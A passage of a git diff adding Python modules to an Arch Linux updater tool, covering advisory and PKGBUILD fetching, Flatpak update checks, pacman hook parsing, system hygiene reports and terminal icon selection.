+ return Path(base) / "updater"
+
+
+def _cached(path: Path, ttl: int) -> str | None:
+ try:
+ if time.time() - path.stat().st_mtime > ttl:
+ return None
+ return path.read_text()
+ except OSError:
+ return None
+
+
+def _store(path: Path, body: str) -> None:
+ try:
+ path.parent.mkdir(parents=True, exist_ok=True)
+ tmp = path.with_suffix(".tmp")
+ tmp.write_text(body)
+ tmp.replace(path)
+ except OSError:
+ pass # a cache that cannot be written is not a failure
+
+
+def get(
+ url: str, *, timeout: float = 20, cache: Path | None = None, ttl: int = 0
+) -> tuple[str, str]:
+ """Fetch a URL. Returns (body, error). Exactly one of the two is empty."""
+ if cache is not None and ttl:
+ hit = _cached(cache, ttl)
+ if hit is not None:
+ return hit, ""
+
+ request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
+ try:
+ with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310
+ body = response.read().decode("utf-8", errors="replace")
+ except urllib.error.HTTPError as exc:
+ return "", f"{url} returned HTTP {exc.code}"
+ except urllib.error.URLError as exc:
+ return "", f"could not reach {urllib.parse.urlsplit(url).netloc}: {exc.reason}"
+ except (TimeoutError, OSError) as exc:
+ return "", f"could not fetch {url}: {exc}"
+
+ if cache is not None:
+ _store(cache, body)
+ return body, ""
+
+
+# --------------------------------------------------------------------------
+# security tracker
+# --------------------------------------------------------------------------
+
+
+def advisory_detail(advisory_id: str, *, timeout: float = 20) -> dict:
+ """The tracker's own record for one advisory.
+
+ `AVG-1234.json` exists, so this is structured data rather than a page to
+ scrape. It carries `affected` and `fixed` versions, the CVE list, any
+ references the tracker recorded, and its notes.
+ """
+ if not advisory_id or "/" in advisory_id:
+ return {"id": advisory_id, "available": False, "reason": "not a usable advisory id"}
+
+ path = cache_dir() / "advisories" / f"{advisory_id}.json"
+ body, error = get(
+ f"{TRACKER}/{urllib.parse.quote(advisory_id)}.json",
+ timeout=timeout,
+ cache=path,
+ ttl=ADVISORY_TTL,
+ )
+ if error:
+ # fall back to a stale copy rather than showing nothing
+ if path.is_file():
+ try:
+ body = path.read_text()
+ except OSError:
+ return {"id": advisory_id, "available": False, "reason": error}
+ else:
+ return {"id": advisory_id, "available": False, "reason": error}
+
+ try:
+ raw = json.loads(body)
+ except ValueError as exc:
+ return {
+ "id": advisory_id,
+ "available": False,
+ "reason": f"the tracker returned something unreadable: {exc}",
+ }
+
+ if not isinstance(raw, dict):
+ return {"id": advisory_id, "available": False, "reason": "unexpected advisory shape"}
+
+ return {
+ "id": raw.get("name") or advisory_id,
+ "available": True,
+ "reason": "",
+ "packages": raw.get("packages") or [],
+ "status": raw.get("status") or "",
+ "severity": raw.get("severity") or "Unknown",
+ "kind": raw.get("type") or "",
+ "affected": raw.get("affected") or "",
+ "fixed": raw.get("fixed") or "",
+ "ticket": raw.get("ticket") or "",
+ "issues": raw.get("issues") or [],
+ "advisories": raw.get("advisories") or [],
+ "references": raw.get("references") or [],
+ "notes": raw.get("notes") or "",
+ "url": f"{TRACKER}/{raw.get('name') or advisory_id}",
+ }
+
+
+# --------------------------------------------------------------------------
+# AUR
+# --------------------------------------------------------------------------
+
+
+def pkgbuild_file(package: str, filename: str, *, timeout: float = 20.0) -> tuple[str, str]:
+ """One file from an AUR repository, e.g. a `.install` scriptlet.
+
+ cgit serves any tracked path, so the same endpoint that returns the
+ PKGBUILD returns everything beside it.
+ """
+ # Both parts come from the AUR, and the filename comes from the PKGBUILD's
+ # own `install=` value. Joined raw, an absolute path resets the join and
+ # `..` walks out of the cache directory -- and the fetched body is then
+ # written to whatever path that produced.
+ name = Path(filename).name
+ base = Path(package).name
+ if not name or not base or name in {".", ".."} or base in {".", ".."}:
+ return "", "the AUR repository named a file this cannot safely cache"
+ url = (
+ f"https://aur.archlinux.org/cgit/aur.git/plain/"
+ f"{urllib.parse.quote(name)}?h={urllib.parse.quote(base)}"
+ )
+ cache = cache_dir() / "aur" / base / name
+ body, error = get(url, timeout=timeout, cache=cache, ttl=PKGBUILD_TTL)
+ return (body or "", error or "")
+
+
+def pkgbuild(package: str, *, timeout: float = 20) -> tuple[str, str]:
+ """The current PKGBUILD for a package, straight from the AUR.
+
+ Used when paru has no clone to read: there is no history to diff against,
+ but showing the file that will actually be built is still worth doing.
+ """
+ safe = urllib.parse.quote(package, safe="")
+ path = cache_dir() / "pkgbuilds" / f"{safe}.txt"
+ return get(
+ f"{AUR}/cgit/aur.git/plain/PKGBUILD?h={safe}", timeout=timeout, cache=path, ttl=PKGBUILD_TTL
+ )
diff --git a/updater/flatpak.py b/updater/flatpak.py
@@ -0,0 +1,188 @@
+"""Flatpak updates, read through `--columns`.
+
+`--columns` is flatpak's documented machine-readable interface, so this is a real
+integration rather than output scraping. The one trap is that flatpak will print
+`error: ...` on stderr and still exit 0 in some failure modes, so the return code
+alone is not enough to decide whether the answer is trustworthy.
+"""
+
+from __future__ import annotations
+
+import shutil
+import subprocess
+from dataclasses import dataclass, field
+
+COLUMNS = "application,branch,origin,version"
+TIMEOUT = 60
+
+
+@dataclass(frozen=True)
+class FlatpakRef:
+ application: str
+ version: str = ""
+ branch: str = ""
+ origin: str = ""
+ kind: str = "app"
+
+ @property
+ def label(self) -> str:
+ bits = [self.application]
+ if self.version:
+ bits.append(self.version)
+ elif self.branch:
+ bits.append(self.branch)
+ return " ".join(bits)
+
+
+@dataclass
+class FlatpakState:
+ available: bool = False
+ reason: str = ""
+ remotes: list[str] = field(default_factory=list)
+ installed: list[FlatpakRef] = field(default_factory=list)
+ updates: list[FlatpakRef] = field(default_factory=list)
+
+ @property
+ def has_updates(self) -> bool:
+ return bool(self.updates)
+
+ @property
+ def short_reason(self) -> str:
+ """A reason short enough for a one-line check row.
+
+ flatpak's own messages embed absolute paths and quoted filenames, which
+ are noise in a summary; the actionable part is which remote failed.
+ """
+ text = self.reason.strip()
+ if not text:
+ return ""
+ for prefix in ("error: ", "Error: "):
+ text = text.removeprefix(prefix)
+ lowered = text.lower()
+ if "unable to load summary from remote" in lowered:
+ remote = text.split("remote", 1)[1].strip().split()[0].rstrip(":")
+ return f"remote {remote} unreachable"
+ if "read-only file system" in lowered:
+ return "cache is read-only"
+ return text.split(":")[0][:48] if ":" in text else text[:48]
+
+ @property
+ def app_updates(self) -> list[FlatpakRef]:
+ return [u for u in self.updates if u.kind == "app"]
+
+
+def flatpak_binary() -> str | None:
+ return shutil.which("flatpak")
+
+
+def _run(args: list[str], *, timeout: int = TIMEOUT) -> tuple[int, str, str]:
+ binary = flatpak_binary()
+ if binary is None:
+ return 127, "", "flatpak is not installed"
+ try:
+ proc = subprocess.run( # noqa: S603 - fixed argv
+ [binary, *args],
+ capture_output=True,
+ text=True,
+ errors="replace",
+ timeout=timeout,
+ check=False,
+ )
+ except subprocess.TimeoutExpired:
+ return 124, "", f"flatpak {' '.join(args)} timed out after {timeout}s"
+ except OSError as exc:
+ return 126, "", f"could not run flatpak: {exc}"
+ return proc.returncode, proc.stdout, proc.stderr
+
+
+def _looks_failed(returncode: int, stderr: str) -> str:
+ """An empty reason means the result can be trusted."""
+ if returncode != 0:
+ return (stderr.strip().splitlines() or [f"exit status {returncode}"])[0]
+ for line in stderr.splitlines():
+ stripped = line.strip()
+ if stripped.lower().startswith("error:"):
+ return stripped
+ return ""
+
+
+def _parse(text: str, *, kind: str) -> list[FlatpakRef]:
+ out: list[FlatpakRef] = []
+ for line in text.splitlines():
+ if not line.strip():
+ continue
+ parts = line.split("\t")
+ while len(parts) < 4:
+ parts.append("")
+ application, branch, origin, version = (p.strip() for p in parts[:4])
+ if not application:
+ continue
+ out.append(
+ FlatpakRef(
+ application=application, version=version, branch=branch, origin=origin, kind=kind
+ )
+ )
+ return out
+
+
+def _dedupe(refs: list[FlatpakRef]) -> list[FlatpakRef]:
+ seen: dict[tuple[str, str, str], FlatpakRef] = {}
+ for ref in refs:
+ seen.setdefault((ref.kind, ref.application, ref.branch), ref)
+ return sorted(seen.values(), key=lambda r: (r.kind, r.application))
+
+
+def remotes() -> tuple[list[str], str]:
+ code, out, err = _run(["remotes", "--columns=name"])
+ reason = _looks_failed(code, err)
+ if reason:
+ return [], reason
+ return [line.strip() for line in out.splitlines() if line.strip()], ""
+
+
+def collect(*, include_runtimes: bool = False, with_installed: bool = True) -> FlatpakState:
+ """One call answers everything the plan needs about flatpak.
+
+ Never raises: flatpak being absent, broken or offline is a normal state, and
+ the caller decides what to say about it.
+ """
+ state = FlatpakState()
+ if flatpak_binary() is None:
+ state.reason = "flatpak is not installed"
+ return state
+
+ state.remotes, reason = remotes()
+ if reason and not state.remotes:
+ state.reason = reason
+ return state
+
+ if with_installed:
+ code, out, err = _run(["list", "--columns=" + COLUMNS])
+ bad = _looks_failed(code, err)
+ if bad:
+ state.reason = bad
+ return state
+ state.installed = _parse(out, kind="app")
+
+ kinds = ["--app"] + (["--runtime"] if include_runtimes else [])
+ updates: list[FlatpakRef] = []
+ for flag in kinds:
+ code, out, err = _run(["remote-ls", "--updates", flag, "--columns=" + COLUMNS])
+ bad = _looks_failed(code, err)
+ if bad:
+ # an unreachable remote is a reportable condition, not a crash
+ state.reason = bad
+ return state
+ updates.extend(_parse(out, kind="app" if flag == "--app" else "runtime"))
+
+ state.available = True
+ state.updates = _dedupe(updates)
+ return state
+
+
+def update_command(*, include_runtimes: bool = True) -> list[str]:
+ """The argv to apply updates non-interactively."""
+ args = ["flatpak", "update", "--noninteractive", "-y"]
+ if not include_runtimes:
+ args.append("--no-related")
+ return args
diff --git a/updater/hooks.py b/updater/hooks.py
@@ -0,0 +1,214 @@
+"""pacman's alpm hooks: the work that happens around a transaction.
+
+A hook is an INI-ish file with one or more `[Trigger]` sections describing when
+it fires and an `[Action]` section describing what it runs. They are how a
+kernel upgrade rebuilds its initramfs, how systemd notices a unit changed, and
+how snapper takes its snapshots -- the things a plan is supposed to tell you
+about and currently does not.
+
+Parsed, never executed.
+"""
+
+from __future__ import annotations
+
+import fnmatch
+from dataclasses import dataclass, field
+from pathlib import Path
+
+#: system hooks ship here; local ones override by filename in /etc
+HOOK_DIRS = (Path("/usr/share/libalpm/hooks"), Path("/etc/pacman.d/hooks"))
+
+#: `snap-pac` names its snapshots, so a snapshot stage can be recognised
+SNAPSHOT_MARKER = "snap-pac"
+
+
+@dataclass(frozen=True)
+class Trigger:
+ kind: str # "Package" or "Path"
+ operations: tuple[str, ...] # Upgrade, Install, Remove
+ targets: tuple[str, ...] # glob patterns
+
+ def matches_name(self, name: str, operation: str = "Upgrade") -> bool:
+ if self.kind != "Package":
+ return False
+ if self.operations and operation not in self.operations:
+ return False
+ return any(fnmatch.fnmatchcase(name, pat) for pat in self.targets)
+
+ def matches_path(self, path: str, operation: str = "Upgrade") -> bool:
+ if self.kind != "Path":
+ return False
+ if self.operations and operation not in self.operations:
+ return False
+ # hook paths are relative to the filesystem root, without a leading /
+ cleaned = str(path).lstrip("/")
+ return any(fnmatch.fnmatchcase(cleaned, pat) for pat in self.targets)
+
+
+@dataclass
+class Hook:
+ path: Path
+ description: str = ""
+ when: str = "PostTransaction"
+ exec_: str = ""
+ depends: tuple[str, ...] = ()
+ triggers: list[Trigger] = field(default_factory=list)
+ needs_targets: bool = False
+ abort_on_fail: bool = False
+
+ @property
+ def is_snapshot(self) -> bool:
+ return SNAPSHOT_MARKER in self.exec_.lower() or "snapper" in self.exec_.lower()
+
+ @property
+ def label(self) -> str:
+ """What to show a person. pacman's own words where it gave any."""
+ if self.description:
+ return self.description.rstrip(".").strip()
+ return self.exec_.split()[0].rsplit("/", 1)[-1] if self.exec_ else self.path.name
+
+ def fires_for(
+ self, names: set[str], paths_by_package: dict[str, list[str]], operation: str = "Upgrade"
+ ) -> bool:
+ """Whether this hook will run for any of the given packages.
+
+ Package triggers are exact. Path triggers are matched against the file
+ list of the *installed* version, which is an approximation: a package
+ that ships a systemd unit today almost certainly still will, but it is
+ the old file list and not the new one.
+ """
+ for trigger in self.triggers:
+ if trigger.kind == "Package":
+ if any(trigger.matches_name(n, operation) for n in names):
+ return True
+ elif trigger.kind == "Path":
+ for name in names:
+ for path in paths_by_package.get(name, ()):
+ if trigger.matches_path(path, operation):
+ return True
+ return False
+
+
+def _sections(path: Path) -> list[tuple[str, dict[str, list[str]]]]:
+ """Every section in a hook file, in order, with repeated keys kept.
+
+ Hand-written rather than ConfigParser, for three reasons: a hook may declare
+ several `[Trigger]` sections and ConfigParser keeps only one; the flags
+ `NeedsTargets` and `AbortOnFail` are bare words with no `=` at all, which
+ ConfigParser treats as a parse error and drops the whole file; and keys
+ repeat -- a trigger lists `Operation = Upgrade`, `Install` and `Remove` on
+ three lines, and keeping only the last one silently changed which
+ transactions a hook fires for.
+ """
+ try:
+ text = path.read_text(encoding="utf-8", errors="replace")
+ except OSError:
+ return []
+ out: list[tuple[str, dict[str, list[str]]]] = []
+ current: dict[str, list[str]] | None = None
+ for raw in text.splitlines():
+ line = raw.split("#", 1)[0].strip()
+ if not line:
+ continue
+ if line.startswith("[") and line.endswith("]"):
+ current = {}
+ out.append((line[1:-1].strip().lower(), current))
+ continue
+ if current is None:
+ continue
+ if "=" in line:
+ key, _, value = line.partition("=")
+ current.setdefault(key.strip().lower(), []).append(value.strip())
+ else:
+ current.setdefault(line.lower(), []).append("")
+ return out
+
+
+def _parse(path: Path) -> Hook | None:
+ """One hook file, or None if it declares no usable trigger."""
+ sections = _sections(path)
+ action: dict[str, list[str]] = {}
+ for name, body in sections:
+ if name == "action":
+ action.update(body)
+ if not action:
+ return None
+
+ hook = Hook(
+ path=path,
+ description=_first(action, "description") or "",
+ when=_first(action, "when") or "PostTransaction",
+ exec_=_first(action, "exec") or "",
+ depends=tuple(_split(_first(action, "depends"))),
+ needs_targets="needstargets" in action,
+ abort_on_fail="abortonfail" in action,
+ )
+
+ for name, block in sections:
+ if name != "trigger":
+ continue
+ kind = _first(block, "type")
+ targets = tuple(_split(_first(block, "target")))
+ operations = tuple(_split_all(block.get("operation"))) or ("Upgrade",)
+ if kind and targets:
+ hook.triggers.append(Trigger(kind=kind, operations=operations, targets=targets))
+ if not hook.triggers:
+ return None
+ return hook
+
+
+def _first(section: dict[str, list[str]], key: str) -> str | None:
+ """The first value for a key. Keys are already lowercased by the reader."""
+ values = section.get(key.lower())
+ return values[0] if values else None
+
+
+def _split_all(values: list[str] | None) -> list[str]:
+ out: list[str] = []
+ for value in values or ():
+ out.extend(_split(value))
+ return out
+
+
+def _split(value: str | None) -> list[str]:
+ if not value:
+ return []
+ return [part for part in value.replace(",", " ").split() if part]
+
+
+def load(dirs: tuple[Path, ...] = HOOK_DIRS) -> list[Hook]:
+ """Every readable hook, later directories overriding earlier ones by name.
+
+ That is what pacman does: a hook in /etc/pacman.d/hooks with the same
+ filename replaces the one the package shipped.
+ """
+ seen: dict[str, Hook] = {}
+ order: list[str] = []
+ for directory in dirs:
+ try:
+ entries = sorted(directory.glob("*.hook"))
+ except OSError:
+ continue
+ for path in entries:
+ hook = _parse(path)
+ if hook is None:
+ continue
+ if path.name not in seen:
+ order.append(path.name)
+ seen[path.name] = hook
+ return [seen[name] for name in order]
+
+
+def scheduled(
+ hooks: list[Hook],
+ names: set[str],
+ paths_by_package: dict[str, list[str]] | None = None,
+ *,
+ operation: str = "Upgrade",
+) -> tuple[list[Hook], list[Hook]]:
+ """Split the hooks that will run into (before the transaction, after it)."""
+ paths = paths_by_package or {}
+ firing = [h for h in hooks if h.fires_for(names, paths, operation)]
+ before = [h for h in firing if h.when.lower().startswith("pre")]
+ after = [h for h in firing if not h.when.lower().startswith("pre")]
+ return before, after
diff --git a/updater/hygiene.py b/updater/hygiene.py
@@ -0,0 +1,394 @@
+"""Hygiene: the things that rot quietly between updates.
+
+Everything here is readable without root, so the tool can report honestly before
+it ever asks for a password. Where a check would need elevation it degrades to
+"unknown" rather than guessing.
+"""
+
+from __future__ import annotations
+
+import os
+import platform
+import time
+from dataclasses import dataclass, field
+from pathlib import Path
+
+CACHE_DIR = Path("/var/cache/pacman/pkg")
+ETC = Path("/etc")
+MODULES = Path("/usr/lib/modules")
+CONFIG_SUFFIXES = (".pacnew", ".pacsave", ".pacorig")
+
+#: package name prefixes whose update means the running kernel or its modules no
+#: longer match what is on disk
+REBOOT_PREFIXES = ("linux", "nvidia", "virtualbox", "zfs", "openzfs", "bbswitch")
+
+
+def parse_cache_name(filename: str) -> tuple[str, str] | None:
+ """`(name, version)` for a cached package file, or None if unrecognised.
+
+ `<name>-<pkgver>-<pkgrel>-<arch>.pkg.tar.<ext>`, split from the right. A
+ pkgver containing a dash would defeat this, which is why pacman discourages
+ them.
+ """
+ stem = filename
+ for marker in (".pkg.tar.zst", ".pkg.tar.xz", ".pkg.tar.gz", ".pkg.tar"):
+ if stem.endswith(marker):
+ stem = stem[: -len(marker)]
+ break
+ else:
+ if not stem.endswith(".part"):
+ return None
+ stem = stem[: -len(".part")]
+ parts = stem.rsplit("-", 3)
+ if len(parts) != 4:
+ return None
+ name, version, _rel, _arch = parts
+ return (name, f"{version}-{_rel}") if name else None
+
+
+@dataclass
+class CacheUsage:
+ total: int = 0
+ reclaimable: int = 0
+ files: int = 0
+ reclaimable_files: int = 0
+ keep: int = 3
+
+ @property
+ def has_reclaimable(self) -> bool:
+ return self.reclaimable > 0
+
+
+def incomplete_downloads(cache_dir: Path = CACHE_DIR) -> Leftovers:
+ """Count pacman's abandoned `download-*` scratch files.
+
+ Never raises: an unreadable cache directory is a normal state.
+ """
+ try:
+ entries = list(cache_dir.iterdir())
+ except OSError:
+ return Leftovers()
+
+ result = Leftovers()
+ for entry in entries:
+ if not entry.name.startswith("download-"):
+ continue
+ try:
+ info = entry.stat()
+ except OSError:
+ continue
+ result.count += 1
+ result.bytes += info.st_size
+ if result.oldest == 0.0 or info.st_mtime < result.oldest:
+ result.oldest = info.st_mtime
+ result.newest = max(result.newest, info.st_mtime)
+ return result
+
+
+def cache_usage(
+ cache_dir: Path = CACHE_DIR, *, keep: int = 3, installed: dict[str, str] | None = None
+) -> CacheUsage:
+ """How much of the package cache could be pruned.
+
+ Keeps the newest `keep` versions of every package plus whatever is currently
+ installed, which is the same rule `paccache -rk3` uses. The installed version
+ is kept even if it is older than the newest: downgrading is a legitimate
+ thing to want to do.
+ """
+ usage = CacheUsage(keep=keep)
+ try:
+ entries = list(os.scandir(cache_dir))
+ except OSError:
+ return usage
+
+ by_name: dict[str, list[tuple[float, int, str]]] = {}
+ for entry in entries:
+ parsed = parse_cache_name(entry.name)
+ if parsed is None:
+ continue
+ name, version = parsed
+ try:
+ stat = entry.stat()
+ except OSError:
+ continue
+ usage.total += stat.st_size
+ usage.files += 1
+ by_name.setdefault(name, []).append((stat.st_mtime, stat.st_size, version))
+
+ for name, versions in by_name.items():
+ versions.sort(key=lambda row: row[0], reverse=True)
+ keep_versions = {v for _m, _s, v in versions[:keep]}
+ if installed and name in installed:
+ keep_versions.add(installed[name])
+ for _mtime, size, version in versions:
+ if version not in keep_versions:
+ usage.reclaimable += size
+ usage.reclaimable_files += 1
+ return usage
+
+
+@dataclass
+class Drift:
+ pacnew: list[Path] = field(default_factory=list)
+ pacsave: list[Path] = field(default_factory=list)
+ pacorig: list[Path] = field(default_factory=list)
+
+ @property
+ def total(self) -> int:
+ return len(self.pacnew) + len(self.pacsave) + len(self.pacorig)
+
+ @property
+ def actionable(self) -> list[Path]:
+ """`.pacsave` and `.pacorig` are informational; `.pacnew` needs merging."""
+ return list(self.pacnew)
+
+
+def config_drift(root: Path = ETC, *, max_depth: int = 6) -> Drift:
+ """Unmerged configuration files left behind by package upgrades."""
+ drift = Drift()
+ root = root.resolve()
+ base_depth = len(root.parts)
+ for dirpath, dirnames, filenames in os.walk(root, onerror=lambda _e: None):
+ current = Path(dirpath)
+ if len(current.parts) - base_depth >= max_depth:
+ dirnames[:] = []
+ continue
+ # don't descend into the places pacnew files are never left
+ dirnames[:] = [
+ d for d in dirnames if d not in ("proc", "sys", "dev", ".git", "node_modules")
+ ]
+ for filename in filenames:
+ if filename.endswith(".pacnew"):
+ drift.pacnew.append(current / filename)
+ elif filename.endswith(".pacsave"):
+ drift.pacsave.append(current / filename)
+ elif filename.endswith(".pacorig"):
+ drift.pacorig.append(current / filename)
+ for bucket in (drift.pacnew, drift.pacsave, drift.pacorig):
+ bucket.sort()
+ return drift
+
+
+def running_kernel() -> str:
+ return platform.release()
+
+
+def installed_kernels(modules: Path = MODULES) -> list[str]:
+ try:
+ return sorted(p.name for p in modules.iterdir() if p.is_dir())
+ except OSError:
+ return []
+
+
+def reboot_reason(updated: set[str] | None = None, modules: Path = MODULES) -> str | None:
+ """Why a reboot is needed, or None.
+
+ The authoritative signal is that the running kernel has no module tree on
+ disk any more, which means its modules were replaced underneath it.
+ """
+ running = running_kernel()
+ kernels = installed_kernels(modules)
+ if kernels and running not in kernels:
+ return f"running kernel {running} is no longer installed"
+ if updated:
+ touched = sorted(n for n in updated if n.startswith(REBOOT_PREFIXES))
+ if touched:
+ return f"updated {', '.join(touched[:3])}"
+ return None
+
+
+#: the kernel's marker for an executable whose file has been unlinked
+DELETED_SUFFIX = " (deleted)"
+
+
+@dataclass(frozen=True)
+class StaleProcess:
+ pid: int
+ name: str
+ path: str
+
+
+def stale_processes(*, limit: int = 400) -> list[StaleProcess]:
+ """Processes still running a binary that has been replaced on disk.
+
+ The kernel marks an executable whose file was unlinked with a ` (deleted)`
+ suffix on `/proc/<pid>/exe`. That is the *usual* result of a package
+ upgrade, because the package manager replaces the file rather than editing
+ it -- and this check used to skip exactly those, so it reported almost
+ nothing. A deleted executable is the strongest possible signal that the
+ process is out of date, not a reason to look away.
+
+ Where the file still exists, the inode the process is running is compared
+ with the inode at that path: a mismatch means the same thing.
+
+ Only readable processes are inspected, so this needs no privileges and simply
+ sees less when run as a normal user.
+ """
+ out: list[StaleProcess] = []
+ seen: set[tuple[int, str]] = set()
+ checked = 0
+ proc = Path("/proc")
+ try:
+ entries = [e for e in os.listdir(proc) if e.isdigit()]
+ except OSError:
+ return out
+
+ for entry in entries:
+ if checked >= limit:
+ break
+ pid = int(entry)
+ try:
+ exe = os.readlink(proc / entry / "exe")
+ except OSError:
+ continue
+ if not exe.startswith("/"):
+ continue
+
+ deleted = exe.endswith(DELETED_SUFFIX)
+ if deleted:
+ exe = exe[: -len(DELETED_SUFFIX)]
+
+ checked += 1
+ if not deleted:
+ try:
+ running_inode = os.stat(proc / entry / "exe").st_ino
+ disk_inode = os.stat(exe).st_ino
+ except OSError:
+ # the path is gone or unreadable, so the process is running
+ # something that is no longer there
+ pass
+ else:
+ if running_inode == disk_inode:
+ continue
+
+ key = (pid, exe)
+ if key in seen:
+ continue
+ seen.add(key)
+ try:
+ name = (proc / entry / "comm").read_text().strip()
+ except OSError:
+ name = os.path.basename(exe)
+ out.append(StaleProcess(pid=pid, name=name, path=exe))
+ out.sort(key=lambda s: s.name)
+ return out
+
+
+@dataclass
+class Leftovers:
+ """Incomplete downloads pacman abandoned in the cache.
+
+ pacman downloads to `download-XXXXXX` and renames on success, so anything
+ left behind is a transfer that failed. They are usually empty, which is why
+ this reports a count rather than a size -- the useful signal is that
+ downloads keep failing, not that any disk can be recovered.
+ """
+
+ count: int = 0
+ bytes: int = 0
+ oldest: float = 0.0
+ newest: float = 0.0
+
+ @property
+ def worth_mentioning(self) -> bool:
+ # a handful of failures is normal; a pile of them is a symptom
+ return self.count >= 10
+
+ @property
+ def all_empty(self) -> bool:
+ """Every leftover is zero bytes, which points at a write failure.
+
+ A transfer that ran out of network leaves partial data; one that could
+ not create or rename its file leaves nothing at all.
+ """
+ return self.count > 0 and self.bytes == 0
+
+ def explain(self, cache_dir) -> list[str]:
+ """What these are, why they are probably there, and how to clear them."""
+
+ def age(stamp: float) -> str:
+ if not stamp:
+ return "?"
+ seconds = max(0.0, time.time() - stamp)
+ if seconds < 5400:
+ return f"{int(seconds // 60)}m"
+ if seconds < 172800:
+ return f"{seconds / 3600:.0f}h"
+ return f"{seconds / 86400:.0f}d"
+
+ lines = [
+ f"{self.count} file(s), {self.bytes:,} bytes total",
+ f"oldest {age(self.oldest)} old, newest {age(self.newest)} old",
+ "",
+ "pacman downloads each package to a scratch name and renames it",
+ "on success, so anything still called download-* is a transfer",
+ "that never finished.",
+ ]
+ if self.all_empty:
+ lines += [
+ "",
+ "They are all zero bytes, which is not what running out of",
+ "network looks like: a partial download has partial data.",
+ "Empty ones mean pacman could not create or rename the file,",
+ "which is the same failure the databases check reports above.",
+ ]
+ lines += [
+ "",
+ "clear them with:",
+ f" sudo find {cache_dir} -maxdepth 1 -name 'download-*' -delete",
+ ]
+ return lines
+
+
+@dataclass
+class Hygiene:
+ cache: CacheUsage = field(default_factory=CacheUsage)
+ leftovers: Leftovers = field(default_factory=Leftovers)
+ drift: Drift = field(default_factory=Drift)
+ orphans: list[str] = field(default_factory=list)
+ reboot: str | None = None
+ reboot_after: set[str] = field(default_factory=set)
+ stale: list[StaleProcess] = field(default_factory=list)
+ removed_from_aur: list[str] = field(default_factory=list)
+ orphaned_aur: list[str] = field(default_factory=list)
+ stale_aur: list[tuple[str, float]] = field(default_factory=list)
+ stale_scan_seconds: float = 0.0
+
+ @property
+ def has_anything(self) -> bool:
+ return bool(
+ self.cache.has_reclaimable
+ or self.drift.total
+ or self.orphans
+ or self.reboot
+ or self.stale
+ or self.removed_from_aur
+ or self.orphaned_aur
+ or self.leftovers.worth_mentioning
+ )
+
+
+def collect(
+ *,
+ cache_dir: Path = CACHE_DIR,
+ etc: Path = ETC,
+ modules: Path = MODULES,
+ installed: dict[str, str] | None = None,
+ orphans: list[str] | None = None,
+ updated: set[str] | None = None,
+ include_processes: bool = True,
+) -> Hygiene:
+ """Gather everything that does not need a network or a password."""
+ report = Hygiene(
+ cache=cache_usage(cache_dir, installed=installed),
+ leftovers=incomplete_downloads(cache_dir),
+ drift=config_drift(etc),
+ orphans=sorted(orphans or []),
+ )
+ report.reboot_after = set(updated or ())
+ report.reboot = reboot_reason(report.reboot_after, modules=modules)
+ if include_processes:
+ started = time.monotonic()
+ report.stale = stale_processes()
+ report.stale_scan_seconds = time.monotonic() - started
+ return report
diff --git a/updater/icons.py b/updater/icons.py
@@ -0,0 +1,137 @@
+"""Icon tiers, selected from context.
+
+The honest answer to "can I use Nerd Font glyphs?" depends on where the terminal
+actually lives, and guessing wrong produces tofu.
+
+ nerd private-use Nerd Font glyphs. Needs a Nerd Font installed *and* a
+ terminal we can reasonably expect to render it.
+ unicode geometric Unicode every monospace font carries (default fallback).
+ ascii dumb terminals, no UTF-8, NO_ICONS.
+
+Every state glyph is exactly one cell wide in every tier, because the layout is a
+fixed grid and a two-cell glyph silently breaks every column to its right.
+"""
+
+from __future__ import annotations
+
+import functools
+import os
+import subprocess
+import sys
+from dataclasses import dataclass
+
+
+@dataclass(frozen=True)
+class Glyphs:
+ done: str
+ run: str
+ wait: str
+ fail: str
+ shared: str
+ warn: str
+ arrow: str
+ branch: str
+ last: str
+ pipe: str
+
+
+# nf-fa-check, nf-fa-play, nf-fa-clock_o, nf-fa-times, nf-fa-refresh,
+# nf-fa-exclamation_triangle, nf-fa-arrow_right
+NERD = Glyphs(
+ done="\uf00c",
+ run="\uf04b",
+ wait="\uf017",
+ fail="\uf00d",
+ shared="\uf021",
+ warn="\uf071",
+ arrow="\uf061",
+ branch="├─",
+ last="└─",
+ pipe="│",
+)
+
+UNICODE = Glyphs(
+ done="✓",
+ run="▶",
+ wait="·",
+ fail="✗",
+ shared="↻",
+ warn="!",
+ arrow="→",
+ branch="├─",
+ last="└─",
+ pipe="│",
+)
+
+ASCII = Glyphs(
+ done="+",
+ run=">",
+ wait=".",
+ fail="x",
+ shared="~",
+ warn="!",
+ arrow=">",
+ branch="|-",
+ last="`-",
+ pipe="|",
+)
+
+TIERS = {"nerd": NERD, "unicode": UNICODE, "ascii": ASCII}
+
+
+@functools.lru_cache(maxsize=1)
+def has_nerd_font() -> bool:
+ """Whether any Nerd Font family is installed on *this* host.
+
+ A proxy, not proof: it cannot see the font at the far end of an SSH session,
+ which is why the ssh/tmux checks below take precedence.
+ """
+ try:
+ out = subprocess.run(
+ ["fc-list"], capture_output=True, text=True, errors="replace", timeout=5, check=False
+ )
+ except (OSError, subprocess.SubprocessError):
+ return False
+ return "nerd font" in out.stdout.lower()
+
+
+def detect(
+ env: dict[str, str] | None = None,
+ *,
+ is_tty: bool | None = None,
+ nerd_font: bool | None = None,
+ override: str | None = None,
+) -> tuple[str, str]:
+ """Pick an icon tier. Returns (tier, reason) so --debug can explain itself."""
+ env = os.environ if env is None else env
+ is_tty = sys.stdout.isatty() if is_tty is None else is_tty
+ nerd_font = has_nerd_font() if nerd_font is None else nerd_font
+
+ override = override or env.get("UPDATER_ICONS") or None
+ if override:
+ if override not in TIERS:
+ raise ValueError(f"UPDATER_ICONS={override!r}; expected one of {list(TIERS)}")
+ return override, "explicit override"
+
+ if env.get("NO_ICONS"):
+ return "ascii", "NO_ICONS set"
+ if not is_tty or env.get("TERM", "") in ("", "dumb"):
+ return "ascii", "not an interactive terminal"
+ enc = (getattr(sys.stdout, "encoding", None) or "").lower()
+ if "utf" not in enc:
+ return "ascii", f"stdout encoding is {enc or 'unknown'}"
+
+ # PUA codepoints are the first thing to break over a link or a multiplexer,
+ # and neither can tell us what the far-end font is.
+ if env.get("SSH_CONNECTION") or env.get("SSH_TTY") or env.get("SSH_CLIENT"):
+ return "unicode", "remote session (ssh)"
+ if env.get("TMUX") or env.get("STY"):
+ return "unicode", "multiplexer (tmux/screen)"
+
+ if not nerd_font:
+ return "unicode", "no Nerd Font installed"
+ return "nerd", "local terminal with Nerd Font installed"
+
+
+def glyphs(tier: str) -> Glyphs:
+ return TIERS[tier]
diff --git a/updater/layout.py b/updater/layout.py
